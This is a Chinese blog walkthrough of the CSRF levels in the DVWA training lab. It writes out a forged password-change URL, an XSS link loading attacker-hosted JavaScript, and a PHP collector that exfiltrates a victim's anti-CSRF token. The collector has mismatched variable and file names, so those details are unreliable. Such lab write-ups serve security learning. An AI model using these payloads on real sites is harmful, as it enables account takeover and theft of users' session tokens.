DVWA之CSRF漏洞
CSRF知识相关可以看我下面这篇博客:CSRF详解 - 三木森林 - 博客园 (cnblogs.com)
Low难度
该界面如下所示:
为了尽可能地模拟真实地CSRF漏洞利用,我们先假定这样一种情况,本界面是在用户A登录后的某合法网站,可能是社交,可能是银行网站。用户A已经提交了账号密码进入了本站点。这是他修改密码地界面。
这时候我是黑客HackB,想要窃取他在这个合法网站上的账号。这就是本题目所假定地情况。
我们先在自己的修改密码的站点测试一下。
发现本界面是直接用GET请求来修改的账户密码。
那就比较简单了,黑客B就伪造了这样了的一个urlhttp://192.168.235.130/DVWA-master/vulnerabilities/csrf/?password_new=abcdef&password_conf=abcdef&Change=Change#
这个url中的地址为用户A的地址。只要用户A自己点击了这个url,那么A的密码就会修改为HackB想要修改的密码,abcdef。但是这个url有点过于明显了。用户A可能稍微警觉一点就不会点。所以我们可以用短链接伪装一下。
得到这个链接,http://t.cn/A6i8jDL3
甚至还可以再伪装一下点这里
放在一个可能吸引到用户A的地方,如用户A看得到的某论坛等,而此时用户A的cookie也还没过期,那一点击这个url,我们的攻击就成功了。
点击后
显示为404,但是已经没用了用户A的密码已经被改了,而用户A这个时候还不一定知道。
Medium难度
此时网站加强了防御,加上了对referer字段的验证。也就是http报文段的referer字段需要再同域名下,这个时候HackB就不能将上面那个url放在任何地方了,他需要在同网站下放入那个超链接,并且吸引用户A点击。
High难度
其实也是反射型xss利用的一个实例
high难度采用了新机制,也就是对token进行验证,关于token我的博客有介绍:session、cookie和token的区别 - 三木森林 - 博客园 (cnblogs.com)所以我们必须要先拿到用户A的token。
那么在这个时候得连同xss漏洞连同使用。
思路是这样的,构造一个带链接的恶意脚本放置于网站内部,而且要用容易触发的事件触发器(前提是该站点是有XSS漏洞的)。
首先,假如我们在本网站下找到了一个XSS漏洞点(DVWA站点下的low难度的XSS(Reflected),是一个搜索输入信息的点),然后构造我们的XSS语句
该语句要调用我们存储在我们的恶意服务器上的JS文件,我们先将其写出来
//hacker.js代码
var img = new Image();
img.src = "http://192.168.235.130/hack.php?q="+frames[0].document.getElementsByName(‘user_token’)[0].value;
document.body.append(img);
这个js代码我们是存储在恶意服务器上的http://192.168.235.130/hackr.js
再构造我们的恶意url,这个url在用户点击之后就会执行我们利用XSS的恶意脚本。
http://192.168.235.130/DVWA-master/vulnerabilities/xss_r/?name=<script src="http://192.168.235.130/hackr.js"></script>#
该js文件会对恶意服务器发送请求,并传送相应参数,这是恶意服务器端后台代码,存储在http://192.168.235.130/hack.php
位置
<?php
$token = $_GET['q'];
var_dump($token);
$myfile = "token.txt";
file_put_contents($myFile,$token);
?>
然后我们再伪装一下上面那个url就可以,或是换成短链接或者什么的。就可以完成以上步骤了。
注:hacke.php和hacker.js是我们自己写的文件
在完成上述步骤,最后会在服务器端生成一个token文件,里面的token就是我们需要的token。拿到了token我们就需要可以带上token用meidum难度的方法进行CSRF攻击了。
Impossible难度
这种难度其实就是一个很好的防御方法示例了。
在该难度中,不仅有token还需要输入源密码。
这样,在不知道原密码的情况下就无法构造参数了。